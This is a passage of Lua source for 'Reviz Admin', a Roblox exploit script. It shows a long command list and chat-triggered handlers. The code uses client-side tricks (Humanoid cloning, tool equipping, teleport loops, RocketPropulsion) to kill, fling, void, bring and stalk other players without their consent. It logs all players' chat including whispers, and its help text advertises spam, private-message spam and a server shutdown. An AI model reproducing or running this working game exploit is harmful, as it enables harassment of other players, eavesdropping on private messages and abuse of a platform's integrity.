to stop.',
'[103] gravity [num] -- Changes workspace gravity default
is 196.2',
'[104] pgs -- Checks if the game has
PGSPhysicsSolverEnabled enabled',
'[105] clickdel -- Delete any block you press q on, client
sided',
'[106] noclickdel -- Stops clickdel',
'[107] looprhats -- Loop removes mesh of your hats/loop
block hats',
'[108] unlooprhats -- Stops loop removing mesh',
'[109] looprtool -- Loop removes mesh of your tool/loop
block tools',
'[110] unlooprtool -- Stops loop removing mesh',
'[111] givealltools [plr] -- Gives all the tools you have
in your backpack to the player',
'[112] age [plr] -- Makes you chat the account age of the
player',
'[113] id [plr] -- Makes you chat the account ID of the
player',
'[114] .age [plr] -- Privately shows you the account age of
the player',
'[115] .id [plr] -- Privately shows you the account ID of
the player',
'[116] gameid -- Shows the game ID',
'[117] removeinvis -- Removes all invisible walls/parts,
client sided',
'[118] removefog -- Removes fog, client sided',
'[119] disable -- Disables your character by removing
humanoid',
'[120] enable -- Enables your character by adding
humanoid',
'[121] prefix [key] -- Changes the prefix used, default
is ;',
'[122] ;resetprefix -- Resets the prefix to ; incase you
change it to an unusable prefix. Say exactly ";resetprefix" to do this command, no
matter what your prefix is set to.',
'[123] flyspeed [num] -- Change your fly speed, default is
1',
'[124] carpet [plr] -- Makes you a carpet for a player,
will not work if FE Godmode is on',
'[125] uncarpet -- Stops carpet player',
'[126] stare [plr] -- Turns your character to stare at
another player',
'[127] unstare -- Stops stare player',
'[128] logchat -- Logs all chat (including /e and whispers)
of all players',
'[129] unlogchat -- Disables logchat',
'[130] fixcam -- Fixes/resets your camera',
'[131] unstate -- Stops changing state',
}
speedget = 1

lplayer = game:GetService("Players").LocalPlayer

lplayer.CharacterAdded:Connect(function(character)
spin = false
flying = false
staring = false
banpl = false
end)

function change()
prefix = prefix
speedfly = speedfly
end

function GetPlayer(String) -- Credit to Timeless/xFunnieuss


local Found = {}
local strl = String:lower()
if strl == "all" then
for i,v in
pairs(game:GetService("Players"):GetPlayers()) do
table.insert(Found,v)
end
elseif strl == "others" then
for i,v in
pairs(game:GetService("Players"):GetPlayers()) do
if v.Name ~= lplayer.Name then
table.insert(Found,v)
end
end
elseif strl == "me" then
for i,v in
pairs(game:GetService("Players"):GetPlayers()) do
if v.Name == lplayer.Name then
table.insert(Found,v)
end
end
else
for i,v in
pairs(game:GetService("Players"):GetPlayers()) do
if v.Name:lower():sub(1, #String) ==
String:lower() then
table.insert(Found,v)
end
end
end
return Found
end

local Mouse = lplayer:GetMouse()

spin = false
followed = false
traill = false
noclip = false
annoying = false
hwalk = false
droppinghats = false
droppingtools = false
flying = false
spamdelay = 1
spamming = false
spammingpm = false
cbringing = false
remotes = true
added = true
binds = false
stopsitting = false
clickgoto = false
gettingtools = false
removingmeshhats = false
removingmeshtool = false
clickdel = false
staring = false
chatlogs = false
banpl = false
changingstate = false
statechosen = 0

adminversion = "Reviz Admin by illremember, Version 2.0"

flying = false
speedfly = 1

function plrchat(plr, chat)


print(plr.Name..": "..tick().."\n"..chat)
end

for i,v in pairs(game:GetService("Players"):GetPlayers()) do


v.Chatted:connect(function(chat)
if chatlogs then
plrchat(v, chat)
end
end)
end
game:GetService("Players").PlayerAdded:connect(function(plr)
plr.Chatted:connect(function(chat)
if chatlogs then
plrchat(plr, chat)
end
end)
end)

local ScreenGui = Instance.new("ScreenGui")


local Frame = Instance.new("Frame")
local CMDBAR = Instance.new("TextBox")
ScreenGui.Parent = game:GetService("CoreGui")
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.new(0.3, 0.1, 0.1)
Frame.BackgroundTransparency = 0.3
Frame.Position = UDim2.new(0.5, 0, 0, 10)
Frame.Size = UDim2.new(0, 200, 0, 40)
Frame.Active = true
Frame.Draggable = true
CMDBAR.Name = "CMDBAR"
CMDBAR.Parent = Frame
CMDBAR.BackgroundColor3 = Color3.new(0.105882, 0.164706,
0.207843)
CMDBAR.BackgroundTransparency = 0.20000000298023
CMDBAR.Size = UDim2.new(0, 180, 0, 20)
CMDBAR.Position = UDim2.new(0.05, 0, 0.25, 0)
CMDBAR.Font = Enum.Font.SourceSansLight
CMDBAR.FontSize = Enum.FontSize.Size14
CMDBAR.TextColor3 = Color3.new(0.945098, 0.945098, 0.945098)
CMDBAR.TextScaled = true
CMDBAR.TextSize = 14
CMDBAR.TextWrapped = true
CMDBAR.Text = "Press ; to type, Enter to execute"

local CMDS = Instance.new("ScreenGui")


local CMDSFRAME = Instance.new("Frame")
local ScrollingFrame = Instance.new("ScrollingFrame")
local TextLabel = Instance.new("TextLabel")
local closegui = Instance.new("TextButton")
CMDS.Name = "CMDS"
CMDS.Parent = game:GetService("CoreGui")
CMDSFRAME.Name = "CMDSFRAME"
CMDSFRAME.Parent = CMDS
CMDSFRAME.Active = true
CMDSFRAME.BackgroundColor3 = Color3.new(0.223529, 0.231373,
0.309804)
CMDSFRAME.BorderSizePixel = 0
CMDSFRAME.Draggable = true
CMDSFRAME.Position = UDim2.new(0, 315, 0, 100)
CMDSFRAME.Size = UDim2.new(0, 275, 0, 275)
CMDSFRAME.Visible = false
ScrollingFrame.Parent = CMDSFRAME
ScrollingFrame.BackgroundColor3 = Color3.new(0.160784, 0.160784,
0.203922)
ScrollingFrame.BorderSizePixel = 0
ScrollingFrame.Position = UDim2.new(0, 0, 0.0729999989, 0)
ScrollingFrame.Size = UDim2.new(1.04999995, 0, 0.92900002, 0)
ScrollingFrame.CanvasSize = UDim2.new(0, 0, 10, 0)
TextLabel.Parent = ScrollingFrame
TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel.BackgroundTransparency = 1
TextLabel.Size = UDim2.new(0.930000007, 0, 1, 0)
TextLabel.Font = Enum.Font.SourceSans
TextLabel.FontSize = Enum.FontSize.Size18
TextLabel.Text = "[-] cmdbar is shown when ; is pressed.,\n[1]
kill [plr] -- You need a tool! Will kill the player, use rkill to kill you and
player,\n[2] bring [plr] -- You need a tool! Will bring player to you,\n[3] spin
[plr] -- You need a tool! Makes you and the player spin crazy,\n[4] unspin -- Use
after using spin cmd and dying, so you stop loop teleporting,\n[5] attach [plr] --
You need a tool! Attaches you to player,\n[6] unattach [plr] -- Attempts to
unattach you from a player,\n[7] follow [plr] -- Makes you follow behind the
player,\n[8] unfollow,\n[9] freefall [plr] -- You need a tool! Teleports you and
the player up into the air,\n[10] trail [plr] -- The opposite of follow, you stay
infront of player,\n[11] untrail,\n[12] orbit [plr] -- Makes you orbit the
player,\n[13] unorbit,\n[14] fling [plr] -- Makes you fling the player,\n[15]
unfling,\n[16] fecheck -- Checks if the game is FE or not,\n[17] void [plr] --
Teleports player to the void,\n[18] noclip -- Gives you noclip to walk through
walls,\n[19] clip -- Removes noclip,\n[20] speed [num]/ws [num] -- Changes how fast
you walk 16 is default,\n[21] jumppower [num]/jp [num] -- Changes how high you jump
50 is default,\n[22] hipheight [num]/hh [num] -- Changes how high you float 0 is
default,\n[23] default -- Changes your speed, jumppower and hipheight to default
values,\n[24] annoy [plr] -- Loop teleports you to the player,\n[25] unannoy,\n[26]
headwalk [plr] -- Loop teleports you to the player head,\n[27] unheadwalk,\n[28]
nolimbs -- Removes your arms and legs,\n[29] god -- Gives you FE Godmode,\n[30]
drophats -- Drops your accessories,\n[31] droptool -- Drops any tool you have
equipped,\n[32] loopdhats -- Loop drops your accessories,\n[33] unloopdhats,\n[34]
loopdtool -- Loop drops any tools you have equipped,\n[35] unloopdtool,\n[36]
invisible -- Gives you invisibility CREDIT TO TIMELESS,\n[37] view [plr] -- Changes
your camera to the player character,\n[38] unview,\n[39] goto [plr] -- Teleports
you to player,\n[40] fly -- Allows you to fly,\n[41] unfly,\n[42] chat [msg] --
Makes you chat a message,\n[43] spam [msg] -- Spams a message,\n[44] unspam,\n[45]
spamwait [num] -- Changes delay of chatting a message for the spam command in
seconds default is 1 second,\n[46] pmspam [plr] -- Spams a player in private
message,\n[47] unpmspam,\n[48] cfreeze [plr] -- Freezes a player on your client,
they will only be frozen for you,\n[49] uncfreeze [plr],\n[50] unlockws -- Unlocks
the workspace,\n[51] lockws -- Locks the workspace,\n[52] btools -- Gives you
btools that will only show to you useful for deleting certain blocks only for
you,\n[53] pstand -- Enables platform stand,\n[54] unpstand -- Disables platform
stand,\n[55] blockhead -- Removes your head mesh,\n[56] sit,\n[57] bringobj [obj]
-- Only shows on client, brings an object/part to you constantly, can be used to
bring healing parts, weapons, money etc, type in exact name,\n[58] wsvis [num] --
Changes visibility of workspace parts, num should be between 0 and 1, only shows
client sided,\n[59] hypertotal -- Loads in my FE GUI Hypertotal,\n[60] cmds --
Prints all commands,\n[61] rmeshhats/blockhats -- Removes the meshes of all your
accessories aka block hats,\n[62] rmeshtool/blocktool -- Removes the mesh of the
tool you have equipped aka block tool,\n[63] spinner -- Makes you spin,\n[64]
nospinner,\n[65] reach [num] -- Gives you reach, mostly used for swords, say
;reachd for default and enter number after for custom,\n[66] noreach -- Removes
reach, must have tool equipped,\n[67] rkill [plr] -- Kills you and the player, use
kill to just kill the player without dying,\n[68] tp me [plr] -- Alternative to
goto,\n[69] cbring [plr] -- Brings player infront of you, shows only on client,
allows you to do damage to player,\n[70] uncbring,\n[71] swap [plr] -- You need a
tool! Swaps players position with yours and your position with players,\n[72]
givetool [plr] -- Gives the tool you have equipped to the player,\n[73] glitch
[plr] -- Glitches you and the player, looks very cool,\n[74] unglitch -- Unglitches
you,\n[75] grespawn -- Alternative to normal respawn and usually works best for
when you want to reset with FE Godmode,\n[76] explorer -- Loads up DEX,\n[77] reset
-- Resets your character.,\n[78] anim [id] -- Applies an animation on you, must be
created by ROBLOX,\n[79] animgui -- Loads up Energize animations GUI,\n[80] savepos
-- Saves your current position,\n[81] loadpos -- Teleports you to your saved
position,\n[82] bang [plr] -- 18+,\n[83] unbang,\n[84] delcmdbar -- Removes the
command bar completely,\n[85] bringmod [obj] -- Brings all the parts in a model,
client only, comes from ;bringobj enter exact name of model,\n[86] shutdown -- Uses
harkinians script to shutdown server,\n[87] respawn -- If grespawn doesnt work you
can use respawn,\n[88] delobj [obj] -- Deletes a certain brick in workspace, client
sided,\n[89] getplrs -- Prints all players in game,\n[90] deldecal -- Deletes all
decals client sided,\n[91] opfinality -- Loads in my FE GUI Opfinality,\n[92]
remotes -- Prints all remotes in the game in the console when added,\n[93]
noremotes -- Stops printing remotes,\n[94] tpdefault -- Stops all loop teleports to
a player,\n[95] stopsit -- Will not allow you to sit,\n[96] gosit -- Allows you to
sit,\n[97] clicktp -- Enables click tp,\n[98] noclicktp -- Disables click tp,\n[99]
toolson -- If any tools are dropped in the workspace you will automatically get
them,\n[100] toolsoff -- Stops ;toolson,\n[101] version -- Gets the admin
version, \n This list of commands is NOT showing everything, go to my thread in the
pastebin link to see ALL commands."
TextLabel.TextColor3 = Color3.new(1, 1, 1)
TextLabel.TextSize = 15
TextLabel.TextWrapped = true
TextLabel.TextXAlignment = Enum.TextXAlignment.Left
TextLabel.TextYAlignment = Enum.TextYAlignment.Top
closegui.Name = "closegui"
closegui.Parent = CMDSFRAME
closegui.BackgroundColor3 = Color3.new(0.890196, 0.223529,
0.0588235)
closegui.BorderSizePixel = 0
closegui.Position = UDim2.new(0.995000005, 0, 0, 0)
closegui.Size = UDim2.new(0.0545952693, 0, 0.0728644878, 0)
closegui.Font = Enum.Font.SourceSansBold
closegui.FontSize = Enum.FontSize.Size24
closegui.Text = "X"
closegui.TextColor3 = Color3.new(1, 1, 1)
closegui.TextSize = 20

closegui.MouseButton1Click:connect(function()
CMDSFRAME.Visible = false
end)

game:GetService('RunService').Stepped:connect(function()
if spin then
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[spinplr.Name].Character.HumanoidRootPart.CFrame
end
if followed then
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[flwplr.Name].Character.HumanoidRootPart.CFrame +
game:GetService("Players")
[flwplr.Name].Character.HumanoidRootPart.CFrame.lookVector * -5
end
if traill then
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[trlplr.Name].Character.HumanoidRootPart.CFrame +
game:GetService("Players")
[trlplr.Name].Character.HumanoidRootPart.CFrame.lookVector * 5
end
if annoying then
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[annplr.Name].Character.HumanoidRootPart.CFrame
end
if hwalk then
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[hdwplr.Name].Character.HumanoidRootPart.CFrame +
Vector3.new(0, 4, 0)
end
if staring then
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(lplayer.Character.Torso.Position, game:GetService("Players")
[stareplr.Name].Character.Torso.Position)
end
end)
game:GetService('RunService').Stepped:connect(function()
if noclip then
if lplayer.Character.Humanoid.RigType ==
Enum.HumanoidRigType.R6 then
lplayer.Character.Head.CanCollide = false
lplayer.Character.Torso.CanCollide = false
lplayer.Character["Left Leg"].CanCollide =
false
lplayer.Character["Right Leg"].CanCollide =
false
else
lplayer.Character.Humanoid:ChangeState(11)
end
end
if changingstate then
lplayer.Character.Humanoid:ChangeState(statechosen)
end
end)
game:GetService('RunService').Stepped:connect(function()
if droppinghats then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Parent = workspace
end
end
end
if droppingtools then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Parent = workspace
end
end
end
if removingmeshhats then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Handle.Mesh:Destroy()
end
end
end
if removingmeshtool then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Handle.Mesh:Destroy()
end
end
end
end)
game:GetService('RunService').Stepped:connect(function()
if banpl then
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[bplrr].Character.HumanoidRootPart.CFrame
end
end)
game:GetService('RunService').Stepped:connect(function()
if stopsitting then
lplayer.Character.Humanoid.Sit = false
end
end)

plr = lplayer
hum = plr.Character.HumanoidRootPart
mouse = plr:GetMouse()
mouse.KeyDown:connect(function(key)
if key == "e" then
if mouse.Target then
if clickgoto then
hum.CFrame = CFrame.new(mouse.Hit.x,
mouse.Hit.y + 5, mouse.Hit.z)
elseif clickdel then
mouse.Target:Destroy()
end
end
end
end)

game:GetService("Workspace").ChildAdded:connect(function(part)
if gettingtools then
if part:IsA("Tool") then
part.Handle.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
end
end
end)

lplayer.Chatted:Connect(function(msg)
if string.sub(msg, 1, 6) == (prefix.."kill ") then
if string.sub(msg, 7) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(100000,0,100000)
else
for i,v in pairs(GetPlayer(string.sub(msg,
7)))do
local NOW =
lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled =
false

lplayer.Character.Humanoid.DisplayDistanceType = "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do

lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local
char1,char2=player.Character,player2.Character
if char1 and char2 then

char1:MoveTo(char2.Head.Position)
end
end
wait(0.1)
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame
= game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame
= CFrame.new(Vector3.new(-100000,10,-100000))
wait(0.7)
tp(lplayer,game:GetService("Players")
[v.Name])
wait(0.7)
lplayer.Character.HumanoidRootPart.CFrame
= NOW

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
end
if string.sub(msg, 1, 7) == (prefix.."bring ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8)))do
local NOW =
lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType
= "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
local function tp(player,player2)
local
char1,char2=player.Character,player2.Character
if char1 and char2 then
char1.HumanoidRootPart.CFrame =
char2.HumanoidRootPart.CFrame
end
end
local function getout(player,player2)
local
char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
tp(game:GetService("Players")[v.Name], lplayer)
wait(0.2)
tp(game:GetService("Players")[v.Name], lplayer)
wait(0.5)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.5)
getout(lplayer, game:GetService("Players")
[v.Name])
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame = NOW

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if string.sub(msg, 1, 6) == (prefix.."spin ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType
= "None"
lplayer.Character.Animate.Disabled = false
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
spinplr = v
wait(0.5)
spin = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if string.sub(msg, 1, 7) == (prefix.."unspin") then
spin = false
end
if string.sub(msg, 1, 8) == (prefix.."attach ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType
= "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
wait(0.3)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character["Left Arm"].CFrame
attplr = v

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if string.sub(msg, 1, 10) == (prefix.."unattach ") then
for i,v in pairs(GetPlayer(string.sub(msg, 11))) do
local function getout(player,player2)
local
char1,char2=player.Character,player2.Character
if char1 and char2 then
char1:MoveTo(char2.Head.Position)
end
end
getout(lplayer, game:GetService("Players")
[v.Name])
end
end
if string.sub(msg, 1, 8) == (prefix.."follow ") then
for i,v in pairs(GetPlayer(string.sub(msg, 9))) do
followed = true
flwplr = v
end
end
if string.sub(msg, 1, 9) == (prefix.."unfollow") then
followed = false
end
if string.sub(msg, 1, 10) == (prefix.."freefall ") then
for i,v in pairs(GetPlayer(string.sub(msg, 11))) do
local NOW =
lplayer.Character.HumanoidRootPart.CFrame
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType
= "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame = NOW
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(0,50000,0)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if string.sub(msg, 1, 7) == (prefix.."trail ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
traill = true
trlplr = v
end
end
if string.sub(msg, 1, 8) == (prefix.."untrail") then
traill = false
end
if string.sub(msg, 1, 7) == (prefix.."orbit ") then
if string.sub(msg, 8) == "all" or string.sub(msg, 8)
== "others" or string.sub(msg, 8) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
else
for i,v in pairs(GetPlayer(string.sub(msg, 8)))
do
local o =
Instance.new("RocketPropulsion")
o.Parent =
lplayer.Character.HumanoidRootPart
o.Name = "Orbit"
o.Target = game:GetService("Players")
[v.Name].Character.HumanoidRootPart
o:Fire()
noclip = true
end
end
end
if string.sub(msg, 1, 8) == (prefix.."unorbit") then
lplayer.Character.HumanoidRootPart.Orbit:Destroy()
noclip = false
end
if string.sub(msg, 1, 7) == (prefix.."fling ") then
if string.sub(msg, 8) == "all" or string.sub(msg, 8)
== "others" or string.sub(msg, 8) == "me" then
lplayer.Character.HumanoidRootPart.CFrame =
lplayer.Character.HumanoidRootPart.CFrame
else
for i,v in pairs(GetPlayer(string.sub(msg, 8)))
do
local y =
Instance.new("RocketPropulsion")
y.Parent =
lplayer.Character.HumanoidRootPart
y.CartoonFactor = 1
y.MaxThrust = 800000
y.MaxSpeed = 1000
y.ThrustP = 200000
y.Name = "Fling"

game:GetService("Workspace").CurrentCamera.CameraSubject =
game:GetService("Players")[v.Name].Character.Head
y.Target = game:GetService("Players")
[v.Name].Character.HumanoidRootPart
y:Fire()
noclip = true
end
end
end
if string.sub(msg, 1, 8) == (prefix.."unfling") then
noclip = false
lplayer.Character.HumanoidRootPart.Fling:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject =
lplayer.Character.Head
wait(0.4)
lplayer.Character.HumanoidRootPart.Fling:Destroy()
end
if string.sub(msg, 1, 8) == (prefix.."fecheck") then
if game:GetService("Workspace").FilteringEnabled ==
true then
warn("FE is Enabled (Filtering Enabled)")

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Enabled";
Text = "Filtering Enabled. Enjoy using
Reviz Admin!";
})
else
warn("FE is Disabled (Filtering Disabled)
Consider using a different admin script.")

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Disabled";
Text = "Filtering Disabled. Consider
using a different admin script.";
})
end
end
if string.sub(msg, 1, 6) == (prefix.."void ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType
= "None"
for i,v in
pairs(game:GetService'Players'.LocalPlayer.Backpack:GetChildren())do
lplayer.Character.Humanoid:EquipTool(v)
end
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.2)
lplayer.Character.HumanoidRootPart.CFrame =
game:GetService("Players")[v.Name].Character.HumanoidRootPart.CFrame
wait(0.6)
lplayer.Character.HumanoidRootPart.CFrame =
CFrame.new(999999999999999,0,999999999999999)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if string.sub(msg, 1, 7) == (prefix.."noclip") then
noclip = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip enabled";
Text = "Type ;clip to disable";
})
end
if string.sub(msg, 1, 5) == (prefix.."clip") then
noclip = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip disabled";
Text = "Type ;noclip to enable";
})
end
if string.sub(msg, 1, 7) == (prefix.."speed ") then
lplayer.Character.Humanoid.WalkSpeed =
(string.sub(msg, 8))
end
if string.sub(msg, 1, 4) == (prefix.."ws ") then
lplayer.Character.Humanoid.WalkSpeed =
(string.sub(msg, 5))
end
if string.sub(msg, 1, 11) == (prefix.."hipheight ") then
lplayer.Character.Humanoid.HipHeight =
(string.sub(msg, 12))
end
if string.sub(msg, 1, 4) == (prefix.."hh ") then
lplayer.Character.Humanoid.HipHeight =
(string.sub(msg, 5))
end
if string.sub(msg, 1, 11) == (prefix.."jumppower ") then
lplayer.Character.Humanoid.JumpPower =
(string.sub(msg, 12))
end
if string.sub(msg, 1, 4) == (prefix.."jp ") then
lplayer.Character.Humanoid.JumpPower =
(string.sub(msg, 5))
end
if string.sub(msg, 1, 8) == (prefix.."default") then
lplayer.Character.Humanoid.JumpPower = 50
lplayer.Character.Humanoid.WalkSpeed = 16
lplayer.Character.Humanoid.HipHeight = 0
end
if string.sub(msg, 1, 7) == (prefix.."annoy ") then
for i,v in pairs(GetPlayer(string.sub(msg, 8))) do
annoying = true
annplr = v
end
end
if string.sub(msg, 1, 8) == (prefix.."unannoy") then
annoying = false
end
if string.sub(msg, 1, 10) == (prefix.."headwalk ") then
for i,v in pairs(GetPlayer(string.sub(msg, 11))) do
hwalk = true
hdwplr = v
end
end
if string.sub(msg, 1, 11) == (prefix.."unheadwalk") then
hwalk = false
end
if string.sub(msg, 1, 8) == (prefix.."nolimbs") then
lplayer.Character["Left Leg"]:Destroy()
lplayer.Character["Left Arm"]:Destroy()
lplayer.Character["Right Leg"]:Destroy()
lplayer.Character["Right Arm"]:Destroy()
end
if string.sub(msg, 1, 4) == (prefix.."god") then
lplayer.Character.Humanoid.Name = 1
local l = lplayer.Character["1"]:Clone()
l.Parent = lplayer.Character
l.Name = "Humanoid"
wait(0.1)
lplayer.Character["1"]:Destroy()

game:GetService("Workspace").CurrentCamera.CameraSubject = lplayer.Character
lplayer.Character.Animate.Disabled = true
wait(0.1)
lplayer.Character.Animate.Disabled = false
lplayer.Character.Humanoid.DisplayDistanceType =
"None"

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE Godmode enabled";
Text = "Use ;grespawn or ;respawn to remove";
})
end
if string.sub(msg, 1, 9) == (prefix.."drophats") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat")) then
v.Parent = workspace
end
end
end
if string.sub(msg, 1, 9) == (prefix.."droptool") then
for i,v in pairs(lplayer.Character:GetChildren()) do
if (v:IsA("Tool")) then
v.Parent = workspace
end
end
end
if string.sub(msg, 1, 10) == (prefix.."loopdhats") then
droppinghats = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdhats to disable";
})
end
if string.sub(msg, 1, 12) == (prefix.."unloopdhats") then
droppinghats = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdhats to enable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."loopdtool") then
droppingtools = true
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdtool to disable";
})
end
if string.sub(msg, 1, 12) == (prefix.."unloopdtool") then
droppingtools = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdtool to enable.";
})
end
if string.sub(msg, 1, 10) == (prefix.."invisible") then --
Credit to Timeless
Local = game:GetService('Players').LocalPlayer
Char = Local.Character
touched,tpdback = false, false
box = Instance.new('Part',workspace)
box.Anchored = true
box.CanCollide = true
box.Size = Vector3.new(10,1,10)
box.Position = Vector3.new(0,10000,0)
box.Touched:connect(function(part)
if (part.Parent.Name == Local.Name) then
if touched == false then
touched = true
function apply()
if script.Disabled ~= true
then
no =
Char.HumanoidRootPart:Clone()
wait(.25)

Char.HumanoidRootPart:Destroy()
no.Parent = Char
Char:MoveTo(loc)
touched = false
end end
if Char then
apply()
end
end
end
end)
repeat wait() until Char
loc = Char.HumanoidRootPart.Position
Char:MoveTo(box.Position + Vector3.new(0,.5,0))

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Invisibility enabled!";
Text = "Reset or use ;respawn to remove.";
})
end
if string.sub(msg, 1, 6) == (prefix.."view ") then
for i,v in pairs(GetPlayer(string.sub(msg, 7))) do
if game:GetService("Players")
[v.Name].Character.Humanoid then
